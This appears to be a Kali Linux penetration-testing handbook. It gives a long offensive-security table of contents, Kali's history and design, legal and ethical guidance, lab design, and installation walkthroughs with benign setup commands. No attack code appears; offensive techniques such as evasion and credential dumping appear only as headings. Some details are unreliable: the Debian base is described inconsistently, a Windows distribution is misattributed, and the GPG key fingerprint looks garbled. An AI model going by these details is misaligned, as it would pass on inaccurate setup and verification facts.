- History of Kali Linux
- Evolution from BackTrack
- Philosophy and Design Principles
- Kali Linux vs Other Security Distributions
- Kali Linux Editions and Architectures
- Use Cases: Pentesting, Red Teaming, Forensics, Research
- Legal and Ethical Considerations
- Setting Up a Lab Environment
-
System Requirements
-
Downloading from Offensive Security
-
Verifying ISO Integrity (SHA256, GPG)
-
Installation Methods:
- Bare Metal
- Dual Boot
- Encrypted Install
- LVM Setup
-
Installing on:
- VirtualBox
- VMware Workstation
- Proxmox VE
-
Live USB & Persistence
-
ARM Installation (Raspberry Pi)
-
Post-Installation Configuration
- Linux File System Hierarchy
- Users, Groups & Permissions
- File Permissions & ACLs
- Process Management
- Package Management (APT & DPKG)
- Networking Basics in Linux
- Bash Shell Mastery
- SSH Configuration & Hardening
- Debian Base and Rolling Release Model
- Package Repositories
- Metapackages
- Kali Tool Categories
- Kernel Customizations
- Security Policies
- System Logging & Monitoring
- Shell Fundamentals
- Variables & Environment
- Loops & Conditionals
- Functions
- Error Handling
- Automating Recon
- Writing Custom Enumeration Scripts
- Building Security Tool Wrappers
- System Hardening
- Firewall Configuration (iptables, nftables)
- Service Management (systemd)
- Log Analysis
- Cron Jobs & Automation
- SELinux & AppArmor
- Kernel Tuning
- TCP/IP Stack Internals
- Subnetting & CIDR
- DNS Internals
- DHCP
- ARP Mechanics
- VLANs
- IPv6
- Packet Analysis Fundamentals
- OSINT Methodology
- WHOIS Enumeration
- DNS Enumeration
- Email Harvesting
- Subdomain Discovery
- Social Media Intelligence
- Metadata Analysis
- Google Dorking
- Network Discovery
- Port Scanning
- Service Detection
- Banner Grabbing
- OS Fingerprinting
- Vulnerability Scanning
Tools Covered:
- Nmap
- Masscan
- Amass
- theHarvester
- CVSS Framework
- Risk Scoring
- Reporting Standards
- False Positive Handling
- Configuration & Tuning
- Authenticated Scanning
- Scan Optimization
- Report Analysis
Tools:
- OpenVAS
- Nessus
- HTTP/HTTPS Internals
- Cookies & Sessions
- REST APIs
- Authentication Models
- JWT
- SQL Injection
- XSS
- CSRF
- SSRF
- IDOR
- File Upload Attacks
- Command Injection
- Template Injection
- Authentication Bypass
- Burp Suite
- OWASP ZAP
- SQLmap
- Gobuster
- Dirsearch
- Buffer Overflows
- Stack vs Heap
- Shellcode Basics
- Return Oriented Programming
- Bypassing ASLR & DEP
- Architecture
- Modules
- Payloads
- Encoders
- Post Modules
- Writing Custom Modules
Tool:
- Metasploit Framework
- Exploit Research
- CVE Reproduction
- Privilege Escalation (Linux)
- Privilege Escalation (Windows)
- Password Attacks
Tools:
- Hydra
- John the Ripper
- Hashcat
- 802.11 Protocols
- WPA2/WPA3
- Capturing Handshakes
- Evil Twin Attacks
- Deauthentication
Tool:
- Aircrack-ng
- ARP Spoofing
- DNS Spoofing
- MITM
- SMB Attacks
- NTLM Relay
Tool:
- Wireshark
- Persistence Techniques
- Reverse Shells
- Pivoting & Tunneling
- Lateral Movement
- Credential Dumping
- Command & Control
- OPSEC
- Evasion Techniques
- Living Off the Land
- Detection Bypass
- Evidence Handling
- Chain of Custody
- Disk Imaging
- Memory Analysis
- Autopsy
- Volatility
- Assembly Language
- Static Analysis
- Dynamic Analysis
- Debugging
Tools:
- Ghidra
- Radare2
- Sandbox Setup
- Behavioral Analysis
- Packing & Obfuscation
- Indicators of Compromise
- AWS Enumeration
- Azure Misconfigurations
- GCP Attacks
- Docker Enumeration
- Kubernetes Exploitation
- Escape Techniques
- Executive Summary Writing
- Technical Reporting
- Remediation Guidance
- Risk Communication
- Offensive Security Certifications
- OSCP Preparation
- Red Team Career Path
- Building a Lab Portfolio
- Kali Tool Index (300+ tools categorized)
- Common Linux Commands Cheat Sheet
- Privilege Escalation Checklist
- Web Testing Checklist
- Wireless Testing Checklist
- Reporting Templates
- Glossary
- CVE Research Guide
- Lab Exercises & Scenarios
- Real-World Case Studies
Kali Linux, developed and maintained by Offensive Security, represents the culmination of over a decade of evolution in the penetration testing distribution space. To truly understand Kali Linux, we must first explore its rich history and the philosophical foundations that make it the industry standard for security professionals worldwide.
The story of Kali Linux begins with its predecessor, BackTrack Linux. BackTrack was formed in 2006 through the merger of three prominent security-focused distributions: WHAX (formerly Whoppix), Auditor Security Collection, and SLAX. Each of these distributions brought unique strengths to the table:
Whoppix (WhiteHat Knoppix) was one of the first live CD distributions focused on security auditing. Based on Knoppix, it provided a portable environment for penetration testers who needed to conduct assessments without installing software on their host systems.
Auditor Security Collection, developed by Max Moser, focused on providing a comprehensive collection of security tools with particular emphasis on wireless security testing. Its user-friendly approach made security testing more accessible to newcomers.
SLAX contributed the modular architecture that would later become crucial for BackTrack's success. Its ability to load modules dynamically allowed for greater flexibility in tool deployment.
The merger created BackTrack, which would go through five major versions between 2006 and 2012. Each version refined the user experience and expanded the toolset:
- BackTrack 1 (2006): The initial release focused on stability and tool integration
- BackTrack 2 (2007): Introduced improved hardware support and additional wireless drivers
- BackTrack 3 (2008): Brought significant kernel updates and the introduction of the GNOME desktop environment
- BackTrack 4 (2009): Major architectural overhaul based on Ubuntu, improved package management
- BackTrack 5 (2011): Final release before Kali, introduced both GNOME and KDE versions, added support for ARM devices
The transition from BackTrack to Kali Linux in March 2013 represented more than just a rebranding effort. It was a complete reimagining of what a penetration testing distribution should be. Mati Aharoni (muts) and Devon Kearns (dookie), core developers of BackTrack, recognized several fundamental limitations in BackTrack's architecture:
Debian Foundation: While BackTrack was based on Ubuntu, Kali switched to Debian's stable branch. This decision provided several advantages:
- Greater stability due to Debian's rigorous testing process
- Better alignment with enterprise environments that often run Debian-based systems
- Access to Debian's vast package repositories
- More predictable release cycles
Filesystem Hierarchy Standard (FHS) Compliance: BackTrack had developed a custom directory structure that sometimes confused users familiar with standard Linux layouts. Kali adopted full FHS compliance, making it more intuitive for experienced Linux users.
Single User Root by Default: Kali introduced the controversial but security-conscious decision to operate as root by default. This design choice acknowledged that penetration testing tools often require elevated privileges, and constantly using sudo would impede workflow. However, this decision also emphasized that Kali should only be used in controlled environments.
Custom Kernel with Wireless Injection Patches: Kali's kernel included patches for wireless injection that weren't available in the mainline kernel. This was crucial for wireless penetration testing but required users to understand the legal implications of using such capabilities.
Kali Linux is built upon a set of core principles that guide every aspect of its development and usage:
The decision to operate as root by default wasn't made lightly. It stems from practical considerations in penetration testing:
- Many security tools require raw socket access, which necessitates root privileges
- Network interface manipulation for monitoring mode requires elevated permissions
- Access to system files and processes during exploitation and post-exploitation phases
- Streamlined workflow without constant authentication prompts
However, this design choice comes with important caveats:
- Users must understand they're operating with full system privileges
- Mistakes can have catastrophic consequences
- The system should never be used for everyday tasks like browsing or email
- Network services are disabled by default to reduce attack surface
Kali's approach to tool integration reflects deep understanding of penetration testing workflows:
Tool Categorization: Tools are organized not just by name, but by their role in the penetration testing lifecycle. The Kali menu structure mirrors the typical phases of an assessment:
- Information Gathering
- Vulnerability Analysis
- Web Application Analysis
- Database Assessment
- Password Attacks
- Wireless Attacks
- Reverse Engineering
- Exploitation Tools
- Sniffing & Spoofing
- Post Exploitation
- Forensics
- Reporting Tools
Metapackages: Rather than forcing users to install every tool, Kali uses metapackages to group related tools. This allows users to install only what they need while maintaining dependencies. Key metapackages include:
kali-linux-headless: For server installations without GUIkali-linux-large: Extended toolset for comprehensive assessmentskali-linux-full: Complete toolset including all toolskali-linux-wireless: All wireless testing toolskali-linux-web: Web application testing toolskali-linux-pwt: Password cracking toolskali-linux-forensic: Digital forensics tools
Kali adopted a rolling release model based on Debian Testing for compelling reasons:
Tool Currency: Security tools evolve rapidly, with new exploits and techniques emerging constantly. A rolling release ensures users have access to the latest versions without waiting for distribution upgrades.
Immediate Updates: When critical vulnerabilities are discovered or new exploitation techniques emerge, updates can be pushed immediately rather than waiting for scheduled releases.
Balance of Stability and Freshness: By tracking Debian Testing rather than Unstable, Kali maintains reasonable stability while keeping packages current. Critical system components undergo additional testing before inclusion.
Understanding Kali's position in the security distribution ecosystem helps users make informed choices about their tools:
Parrot, based on Debian Testing like Kali, offers an alternative approach:
Key Differences:
- Default non-root operation (more secure for daily use)
- Lighter resource footprint
- Stronger focus on anonymity and privacy tools
- Built-in Tor and I2P integration
- More comprehensive forensics capabilities
- Regular release cycle vs Kali's rolling releases
Use Cases: Parrot excels in situations where the testing system might be used for other purposes, or where operational security requires non-default configurations.
BlackArch takes a different approach entirely, building upon Arch Linux:
Key Characteristics:
- Massive tool repository (over 2500 tools)
- True rolling release with absolutely latest versions
- Arch Linux's DIY philosophy requires more manual configuration
- Smaller user community but extremely knowledgeable
- Can be installed as additional repository on existing Arch
Use Cases: Ideal for experienced Linux users who want absolute control and the latest tools, willing to invest time in configuration.
Pentoo builds upon Gentoo Linux:
Key Features:
- Source-based distribution with maximum optimization
- Hardened kernel with PaX and grsecurity
- Extreme customizability
- Steep learning curve
- Excellent performance on specific hardware
Use Cases: Performance-critical applications where hardware optimization matters more than ease of use.
Microsoft's Windows-based security distribution:
Key Characteristics:
- Windows environment for testing Windows-specific scenarios
- Pre-configured with tools that run natively on Windows
- Integration with Windows administrative tools
- PowerShell-centric workflow
- Limited to Windows ecosystems
Use Cases: Assessments targeting Windows environments exclusively, or when Windows-specific tools are required.
Kali's flexibility extends to multiple editions designed for different use cases:
The flagship edition provides a complete desktop environment with all tools pre-installed:
Desktop Environments:
- Xfce (default since 2020): Lightweight and fast
- GNOME: Traditional full-featured desktop
- KDE Plasma: Modern, customizable interface
- MATE: Classic desktop experience
- LXDE: Ultra-lightweight option
Architecture Support:
- 64-bit (amd64): Primary platform
- 32-bit (i386): Legacy system support
- ARM: Embedded and mobile devices
Designed for resource-constrained environments:
Optimizations:
- Minimal window manager (Openbox)
- Only essential tools pre-installed
- Reduced RAM footprint
- Faster boot times
- Ideal for virtual machines with limited resources
Comprehensive ARM support distinguishes Kali from competitors:
Supported Platforms:
- Raspberry Pi (all models)
- BeagleBone Black
- Odroid
- CuBox
- Chromebooks
- Samsung ARM Chromebook
- NVIDIA Jetson
- Pine64
- Galaxy Note devices
- Various Android phones (via chroot)
Special Considerations:
- Optimized kernels for each platform
- Hardware-specific drivers
- Power management configurations
- GPIO support for hardware hacking
Mobile penetration testing platform for Android devices:
Core Components:
- Custom kernel with wireless injection
- Kali chroot environment
- NetHunter app for attack management
- HID attacks (keyboard emulation)
- BadUSB attacks
- MANA Evil Access Point
- Bluetooth attacks
- SDR support
Hardware Requirements:
- Rooted Android device
- Custom kernel support
- External wireless adapter support
- OTG cable for external devices
Recent addition enabling Kali on Windows:
Capabilities:
- Full Kali toolset on Windows 10/11
- Integration with Windows filesystem
- GUI application support (WSLg)
- No dual-boot or VM overhead
- Limited hardware access (no raw wireless)
Understanding Kali's various applications helps users leverage the right tools for their specific needs:
The primary use case for Kali involves authorized security assessments:
Typical Engagement Phases:
- Reconnaissance: Gathering information about targets using OSINT and active scanning
- Scanning: Identifying open ports, services, and vulnerabilities
- Exploitation: Gaining unauthorized access through identified vulnerabilities
- Post-Exploitation: Maintaining access, gathering intelligence, pivoting
- Reporting: Documenting findings and remediation recommendations
Tool Categories Used:
- Reconnaissance: Nmap, Maltego, theHarvester
- Vulnerability Analysis: OpenVAS, Nikto, WPScan
- Exploitation: Metasploit, BeEF, SQLmap
- Post-Exploitation: Mimikatz, PowerShell Empire
Advanced adversarial simulation focusing on evading detection:
Key Differences from Pentesting:
- No advance warning to defenders
- Focus on stealth and evasion
- Emphasis on custom tooling and TTPs
- Testing detection and response capabilities
- Longer engagement duration
Specialized Tools:
- C2 Frameworks: Cobalt Strike, Covenant, Mythic
- Evasion: Veil, Shellter, PEzor
- Privilege Escalation: LinPEAS, WinPEAS
- Lateral Movement: CrackMapExec, Impacket
Kali includes extensive forensics capabilities:
Forensics Features:
- Bootable forensics mode (no automount)
- Write-blocking utilities
- Disk imaging tools (dd, dc3dd, guymager)
- File carving tools (foremost, scalpel)
- Memory analysis (Volatility, Rekall)
- Timeline analysis (sleuthkit, autopsy)
Forensics Workflow:
- Acquisition: Creating forensically sound images
- Analysis: Examining file systems and artifacts
- Recovery: Carving deleted files
- Reporting: Documenting findings for legal proceedings
Kali provides an excellent platform for security research:
Research Areas:
- Vulnerability research and exploit development
- Malware analysis and reverse engineering
- Protocol analysis and fuzzing
- Hardware security research
- Cryptographic analysis
Research-Oriented Tools:
- Reverse Engineering: Ghidra, Radare2, GDB
- Fuzzing: AFL, Radamsa, Boofuzz
- Binary Analysis: Binwalk, Capstone, Angr
- Hardware Tools: HackRF, RTL-SDR, Logic analyzers
Understanding the legal framework surrounding penetration testing is crucial for every Kali user:
Authorization Requirements:
- Written authorization from system owners
- Clearly defined scope and limitations
- Rules of engagement documentation
- Insurance and liability considerations
- Compliance with local, national, and international laws
Relevant Laws:
- Computer Fraud and Abuse Act (CFAA) - USA
- Computer Misuse Act - UK
- Cybersecurity Law - China
- GDPR - EU (data protection)
- Various state and local computer crime laws
Industry Regulations:
- PCI DSS for payment card environments
- HIPAA for healthcare data
- GLBA for financial institutions
- SOX for publicly traded companies
- FISMA for government systems
Beyond legal requirements, ethical considerations guide professional conduct:
Core Ethical Principles:
- Do no harm to systems or data
- Maintain confidentiality of findings
- Act within authorized scope only
- Report all findings honestly
- Protect client data and privacy
- Maintain professional competence
Professional Organizations and Codes:
- (ISC)² Code of Ethics
- ISACA Code of Professional Ethics
- EC-Council Code of Ethics
- OWASP Principles
- SANS Institute Ethics
When vulnerabilities are discovered, responsible disclosure protects users:
Disclosure Process:
- Verify the vulnerability exists
- Contact the vendor privately
- Allow reasonable time for fixes
- Coordinate public disclosure
- Provide clear remediation guidance
- Avoid publishing exploit code until patches are available
Disclosure Timeframes:
- 30-45 days typical for active vendors
- 45-90 days for complex fixes
- Immediate disclosure for actively exploited zero-days
- Extended timeframes for critical infrastructure
A proper lab environment is essential for learning and practicing Kali Linux safely:
Network Architecture:
- Isolated network segments
- Multiple subnets for practice scenarios
- Firewall rules between segments
- Internet access control
- Monitoring and logging infrastructure
Target Systems:
- Various operating systems (Windows, Linux, macOS)
- Different versions and patch levels
- Vulnerable applications intentionally
- Network services (web, database, mail)
- Active Directory domains
- Cloud environments
Safety Measures:
- Network isolation from production
- Snapshots for quick recovery
- Regular backups of configurations
- Documented network topology
- Clean-up procedures
VMware Workstation/Player:
- Professional-grade virtualization
- Excellent networking capabilities
- Snapshot functionality
- Clone and template support
- 3D acceleration for GUI systems
VirtualBox:
- Free and open-source
- Cross-platform compatibility
- Good for beginners
- Adequate for most scenarios
- Weaker performance than VMware
Proxmox VE:
- Enterprise-grade virtualization
- Web-based management
- Container support (LXC)
- Clustering capabilities
- Backup and restore features
Docker and Containers:
- Lightweight environments
- Fast deployment
- Perfect for service simulation
- Limited to Linux-based targets
- No GUI by default
Physical Hardware:
- Multiple computers or servers
- Network equipment (switches, routers)
- Wireless access points
- IoT devices
- Embedded systems
Advantages of Physical Labs:
- Real-world hardware behavior
- No virtualization overhead
- Physical interfaces available
- Wireless testing possibilities
- Hardware hacking opportunities
Disadvantages:
- Higher cost
- Space requirements
- Power consumption
- Physical maintenance
- Difficult to reset/restore
AWS Options:
- EC2 instances for targets
- VPC for network isolation
- AMI images for quick deployment
- Auto-scaling for large scenarios
- Cost based on usage
Azure Lab Services:
- Managed lab environments
- Template-based deployment
- User management
- Cost tracking
- Integration with Active Directory
DigitalOcean:
- Simple droplet deployment
- Affordable pricing
- Fast provisioning
- API-driven automation
- Limited isolation options
Purpose-Built Vulnerable VMs:
- Metasploitable 2 and 3
- OWASP Broken Web Applications
- VulnHub machines
- HackTheBox machines
- PentesterLab challenges
Vulnerable Web Applications:
- Damn Vulnerable Web Application (DVWA)
- WebGoat and WebWolf
- bWAPP
- Mutillidae
- Hackazon
Active Directory Labs:
- BadBlood (automated AD lab)
- DetectionLab
- GOAD (Game of Active Directory)
- Automated AD lab scripts
- Custom domain controllers
Network: 192.168.56.0/24 (Host-Only)
├── Kali Linux (Attacker)
│ └── IP: 192.168.56.10
├── Target Network 1
│ ├── Ubuntu Server (Web)
│ │ └── IP: 192.168.56.20
│ ├── Windows 10 (Workstation)
│ │ └── IP: 192.168.56.30
│ └── Metasploitable 3
│ └── IP: 192.168.56.40
└── Target Network 2 (NAT)
├── pfSense Firewall
│ └── WAN: 192.168.56.254, LAN: 10.0.0.254
└── Internal Network 10.0.0.0/24
├── Windows Server 2019 (DC)
│ └── IP: 10.0.0.10
└── Windows 10 Domain Member
└── IP: 10.0.0.20
Before installing Kali Linux, it's essential to understand the hardware requirements and ensure your system meets the necessary specifications for your intended use case.
For a basic installation with minimal functionality:
Processor:
- Intel Core i3 or equivalent AMD
- Minimum: 1 GHz
- Recommended: 2 GHz dual-core or better
Memory (RAM):
- Minimum: 2 GB
- Recommended: 4 GB for basic usage
- For heavy multitasking: 8 GB or more
- For virtual machines: Allocate at least 2-4 GB
Storage:
- Minimum: 20 GB hard disk space
- Recommended: 40 GB or more
- For full installation: 60 GB+
- For forensic work: Additional storage for images
Graphics:
- VGA capable of 1024×768 resolution
- Recommended: 1920×1080 or higher
- 3D acceleration optional (not required)
Professional Penetration Tester:
- Processor: Intel Core i7 or AMD Ryzen 7
- RAM: 16 GB minimum, 32 GB recommended
- Storage: 500 GB SSD + 1 TB HDD for data
- Graphics: Dedicated GPU optional
Red Team Operator:
- Processor: Intel Core i9 or AMD Ryzen 9
- RAM: 32 GB minimum, 64 GB recommended
- Storage: 1 TB NVMe SSD
- Graphics: Dedicated GPU for hash cracking
Forensics Analyst:
- Processor: High core count (8+ cores)
- RAM: 32 GB minimum, 64 GB recommended
- Storage: Multiple drives for evidence
- Graphics: Not critical
Malware Analyst:
- Processor: Intel Core i7 or better
- RAM: 16 GB minimum, 32 GB recommended
- Storage: 500 GB SSD + external storage
- Graphics: Optional
Wireless Adapters:
- Chipset with monitor mode support
- Packet injection capability
- External USB adapters often preferred
- Common supported chipsets:
- Atheros AR9271
- Ralink RT3070
- Realtek RTL8812AU
- Intel (limited support for injection)
External GPUs for Password Cracking:
- NVIDIA CUDA support preferred
- AMD OpenCL support
- Multiple GPU configurations
- Adequate cooling and power supply
USB 3.0 Controllers:
- For external storage
- For wireless adapters
- For forensic acquisitions
Obtaining Kali Linux requires downloading from official sources to ensure integrity and security.
Primary Download Methods:
-
Official Website: https://www.kali.org/get-kali/
- Direct downloads
- Torrent links
- Network installers
- ARM images
-
Mirror Network:
- Global mirror distribution
- Faster downloads based on location
- Backup if primary is unavailable
- List available at https://http.kali.org/README-mirror
-
BitTorrent:
- Distributed download
- Built-in integrity checking
- Reduces server load
- Faster for popular releases
ISO Image Types:
-
Kali Linux Installer Image:
- Full installation capability
- Includes all tools
- Multiple desktop environments
- Size: ~3-4 GB
- Use for permanent installations
-
Kali Linux Live Image:
- Boot without installing
- Persistence capability
- Same toolset as installer
- Size: ~3-4 GB
- Use for testing and temporary use
-
Kali Linux NetInstaller:
- Minimal base image
- Downloads packages during install
- Smaller initial download (~500 MB)
- Requires internet connection
- Customizable installation
-
Kali Linux ARM Images:
- Device-specific images
- Pre-configured for hardware
- Various sizes based on device
- Includes hardware-specific optimizations
Selection Criteria:
- Purpose: Permanent install vs live boot
- Internet Access: NetInstaller vs full ISO
- Desktop Environment: Xfce, GNOME, KDE, etc.
- Architecture: 64-bit, 32-bit, ARM
- Hardware Compatibility: Legacy systems may need 32-bit
- Language and Keyboard: Regional requirements
Security-conscious users must verify downloaded ISO files to ensure they haven't been tampered with.
Why SHA256 Matters:
- Ensures file hasn't been corrupted during download
- Verifies file matches official release
- Detects accidental corruption
- Prevents use of modified ISOs
Verification Process:
Linux/Mac:
# Calculate SHA256 of downloaded file
sha256sum kali-linux-2024.1-installer-amd64.iso
# Compare with official checksum file
cat SHA256SUMS
grep kali-linux-2024.1-installer-amd64.iso SHA256SUMSWindows:
# Using PowerShell
Get-FileHash .\kali-linux-2024.1-installer-amd64.iso -Algorithm SHA256
# Compare with published checksumFor maximum security, verify the GPG signature of the checksum file:
Step-by-Step GPG Verification:
- Download the necessary files:
wget https://kali.org/kali-images/current/SHA256SUMS
wget https://kali.org/kali-images/current/SHA256SUMS.gpg- Import Kali's GPG key:
# Download and import Kali signing key
wget -q -O - https://archive.kali.org/archive-key.asc | gpg --import
# Or from keyserver
gpg --keyserver hkps://keys.openpgp.org --recv-key 44C6513A8E4FB3B30875F75844C6513A8E4FB3B3- Verify the signature:
gpg --verify SHA256SUMS.gpg SHA256SUMS- Verify ISO against checksums:
sha256sum -c SHA256SUMS 2>&1 | grep OKExpected Output:
gpg: Good signature from "Kali Linux Repository <devel@kali.org>"
kali-linux-2024.1-installer-amd64.iso: OK
Common Issues and Solutions:
- Checksum mismatch: File corrupted, download again
- GPG key missing: Import correct key
- Signature expired: Key may need refresh
- Untrusted key: Verify key fingerprint manually
Kali Linux offers multiple installation methods to suit different requirements and scenarios.
Installing Kali as the primary operating system on physical hardware:
Pre-Installation Checklist:
- Backup all important data
- Verify hardware compatibility
- Have installation media ready
- Ensure power source stable
- Document current system configuration
- Test boot from installation media
Installation Process:
-
Boot from Installation Media:
- Insert USB/DVD
- Configure BIOS/UEFI to boot from media
- Select "Graphical Install" or "Install"
-
Language and Location:
- Select language
- Choose location for timezone
- Configure keyboard layout
-
Network Configuration:
- Automatic DHCP detection
- Manual configuration if needed
- Hostname assignment
- Domain name (optional)
-
User Accounts:
- Root password setup
- Regular user account (optional)
- Consider security implications
-
Disk Partitioning:
- Guided - use entire disk
- Guided - use entire disk with LVM
- Guided - use entire disk with encrypted LVM
- Manual partitioning
-
Software Selection:
- Desktop environments
- Collection of tools
- Additional software
-
Install Bootloader:
- GRUB installation
- UEFI vs Legacy BIOS
- Multiple boot options
Running Kali alongside existing operating systems:
Considerations Before Dual Booting:
- Available disk space (minimum 40 GB recommended)
- Backup existing system
- Understand boot manager configuration
- Consider UEFI vs Legacy boot modes
- Secure Boot compatibility
Partitioning Strategy:
Existing Windows Installation:
- C:\ (Windows): 200 GB
- D:\ (Data): 300 GB
- Free Space: 100 GB for Kali
Partition Layout for Kali:
- /boot: 500 MB (ext4)
- /: 50 GB (ext4)
- /home: 45 GB (ext4)
- swap: 4 GB (for 16 GB RAM)
Installation Steps:
-
Prepare Windows:
- Defragment drive
- Shrink existing partition
- Disable fast startup
- Disable secure boot temporarily
-
Boot Kali Installer:
- Choose "Install" from boot menu
- Proceed through initial steps
- At partitioning, select "Manual"
-
Create Partitions:
- Create partition in free space
- Assign mount points
- Set filesystem types
-
Install Bootloader:
- GRUB will detect Windows
- Add to boot menu
- Test boot options
-
Post-Installation:
- Configure GRUB timeout
- Set default OS
- Update GRUB if needed
Full disk encryption protects data if the system is lost or stolen:
Encryption Options:
-
LUKS Full Disk Encryption:
- Encrypts entire disk except /boot
- Passphrase required at boot
- Strong AES encryption
- Multiple key slots
-
Encrypted LVM:
- LVM on top of LUKS
- Flexible volume management
- Snapshots and resizing
- Multiple logical volumes
-
Home Directory Encryption:
- Encrypt only /home
- Faster boot
- User-specific encryption
- eCryptfs or LUKS
LUKS Encryption Process:
During installation, select "Guided - use entire disk with encrypted LVM":
Step 1: Create encrypted volume
- Choose disk for encryption
- Set encryption passphrase (strongly recommended)
Step 2: LVM configuration
- Volume group name
- Logical volumes:
- root (/) - 40 GB
- home (/home) - remaining space
- swap - RAM size
Step 3: Format and install
- Filesystem creation
- Installation proceeds normally
- Encryption unlocks at boot
Important Considerations:
- Remember the passphrase (irrecoverable if lost)
- /boot partition remains unencrypted
- Performance impact minimal with AES-NI
- Suspend-to-disk requires special configuration
Logical Volume Manager provides flexible storage management:
LVM Advantages:
- Resize volumes dynamically
- Snapshots for backup
- Volume striping for performance
- Easy addition of new disks
- Volume mirroring
LVM Components:
- Physical Volumes (PV): Actual disks/partitions
- Volume Groups (VG): Pool of storage
- Logical Volumes (LV): Virtual partitions
- Physical Extents (PE): Allocation units
Sample LVM Layout:
# Physical layout
/dev/sda1 -> /boot (500 MB)
/dev/sda2 -> LVM PV (rest of disk)
# Volume Group
vg_kali (entire /dev/sda2)
# Logical Volumes
/dev/vg_kali/root -> 40 GB (/)
/dev/vg_kali/home -> 50 GB (/home)
/dev/vg_kali/var -> 20 GB (/var)
/dev/vg_kali/tmp -> 10 GB (/tmp)
/dev/vg_kali/swap -> 8 GB (swap)LVM Commands for Management:
# List physical volumes
pvdisplay
# List volume groups
vgdisplay
# List logical volumes
lvdisplay
# Extend logical volume
lvextend -L +10G /dev/vg_kali/home
resize2fs /dev/vg_kali/home
# Create snapshot
lvcreate -L 5G -s -n home_snap /dev/vg_kali/homeVirtual installation offers flexibility and safety for learning and testing.
Preparation:
-
Download and Install VirtualBox:
- From https://www.virtualbox.org/
- Install extension pack for additional features
- Ensure virtualization enabled in BIOS
-
Create New Virtual Machine:
Name: Kali Linux
Type: Linux
Version: Debian (64-bit)
Memory: 4096 MB (minimum)
Hard disk: Create virtual disk now
- Type: VDI
- Storage: Dynamically allocated
- Size: 60 GB
Configuration Optimizations:
# System settings
Processors: 2-4 cores
Enable PAE/NX
Enable VT-x/AMD-V
Enable Nested Paging
# Display settings
Video Memory: 128 MB
Enable 3D Acceleration
Graphics Controller: VBoxSVGA
# Storage settings
Controller: SATA with SSD checkbox
Add optical drive with Kali ISO
# Network settings
Adapter 1: NAT (internet access)
Adapter 2: Host-only (lab network)Installation Process:
-
Mount ISO:
- Attach Kali ISO to optical drive
- Boot VM
-
Install Kali:
- Follow standard installation
- Choose appropriate options
- Install VirtualBox Guest Additions afterward
-
Guest Additions Installation:
# After first boot
apt update
apt install -y linux-headers-$(uname -r) build-essential dkms
# Mount Guest Additions ISO from VirtualBox menu
mount /dev/cdrom /mnt
cd /mnt
./VBoxLinuxAdditions.run
rebootPost-Installation Tweaks:
# Enable shared clipboard
# Devices > Shared Clipboard > Bidirectional
# Create shared folders
# Devices > Shared Folders > Add
mkdir /mnt/shared
mount -t vboxsf shared /mnt/shared
# Enable drag and drop
# Devices > Drag and Drop > BidirectionalVMware-Specific Setup:
- Create New Virtual Machine:
Hardware Compatibility: Workstation 16.x
Guest OS: Linux
Version: Debian 11.x 64-bit
Memory: 4096 MB
Network: NAT
I/O Controller: LSI Logic
Virtual Disk: 60 GB, split into files
- VM Settings Optimization:
Processors: 2-4 cores
Virtualize Intel VT-x/EPT
Memory: Reserve all memory
Display: Accelerate 3D graphics
Floppy: Remove (not needed)
USB: USB 3.0 supportVMware Tools Installation:
# Install prerequisites
apt update
apt install -y open-vm-tools-desktop
# Enhanced functionality
- Clipboard sharing
- Drag and drop
- Folder sharing
- Better display resolution
- Time synchronizationNetwork Configuration for Labs:
# Create custom networks
# VMnet2: Host-only (192.168.100.0/24)
# VMnet3: Host-only (192.168.200.0/24)
# Add network adapters
# Adapter 1: NAT (internet)
# Adapter 2: Custom VMnet2
# Adapter 3: Custom VMnet3Proxmox provides enterprise-grade virtualization for lab environments:
Create Kali Template:
- Download ISO to Proxmox:
cd /var/lib/vz/template/iso
wget https://kali.org/get-kali/kali-linux-2024.1-installer-amd64.iso- Create VM:
VM ID: 100
Name: kali-template
OS: Linux
ISO: kali-linux-2024.1-installer-amd64.iso
SCSI Controller: VirtIO SCSI
CPU: 2 cores
Memory: 4096 MB
Network: VirtIO
Disk: 60 GB
-
Install Kali:
- Standard installation
- Install QEMU Guest Agent
- Configure for template use
-
Convert to Template:
# After installation, convert to template
qm template 100
# Clone for new instances
qm clone 100 101 --name kali-pentestProxmox Advantages:
- Centralized management
- Snapshot and rollback
- Backup integration
- Resource pooling
- Network flexibility
Live USB installations provide portability and flexibility.
Linux Method (dd):
# Identify USB device
lsblk
# Assume USB is /dev/sdb
# Write ISO to USB (careful with device name!)
sudo dd if=kali-linux-2024.1-live-amd64.iso of=/dev/sdb bs=4M status=progress oflag=sync
# Alternative using balenaEtcher (GUI)
# Or using cp
sudo cp kali-linux-2024.1-live-amd64.iso /dev/sdb
syncWindows Method (Rufus):
-
Download Rufus from https://rufus.ie/
-
Configure Rufus:
- Device: Select USB drive
- Boot selection: Kali ISO
- Partition scheme: MBR or GPT
- Target system: BIOS or UEFI
- File system: Large FAT32
-
Write Options:
- Check device for bad blocks (optional)
- Create extended label
- Write in ISO Image mode
macOS Method:
# Identify USB device
diskutil list
# Assume USB is /dev/disk2
# Unmount (but don't eject)
diskutil unmountDisk /dev/disk2
# Write ISO
sudo dd if=kali-linux-2024.1-live-amd64.iso of=/dev/rdisk2 bs=1m
# Eject when done
diskutil eject /dev/disk2Persistence allows saving data across reboots on live USB:
Creating Persistence Partition:
# After writing live ISO, repartition USB
# Use fdisk or parted to create new partition
sudo fdisk /dev/sdb
# Create new partition (n)
# Use remaining space (defaults)
# Set type to W95 FAT32 (LBA) (t, then c)
# Write changes (w)
# Format persistence partition
sudo mkfs.ext4 -L persistence /dev/sdb3
# Create persistence.conf
sudo mkdir -p /mnt/usb
sudo mount /dev/sdb3 /mnt/usb
echo "/ union" | sudo tee /mnt/usb/persistence.conf
sudo umount /mnt/usbEncrypted Persistence:
# Create encrypted persistence
sudo cryptsetup --verbose --verify-passphrase luksFormat /dev/sdb3
sudo cryptsetup luksOpen /dev/sdb3 my_usb
# Format as ext4
sudo mkfs.ext4 /dev/mapper/my_usb
sudo mount /dev/mapper/my_usb /mnt/usb
echo "/ union" | sudo tee /mnt/usb/persistence.conf
sudo umount /mnt/usb
sudo cryptsetup luksClose my_usbUsing Persistence:
- Boot from USB
- Select "Live USB Persistence" from boot menu
- Data saved to persistence partition
Kali on ARM devices expands testing capabilities to embedded systems.
Supported Models:
- Raspberry Pi 2, 3, 4, 5
- Raspberry Pi 400
- Raspberry Pi Zero 2 W
- Compute Module 3/4
Download ARM Image:
# From Kali website
wget https://kali.org/get-kali/kali-linux-2024.1-raspberry-pi-arm64.img.xz
# Extract
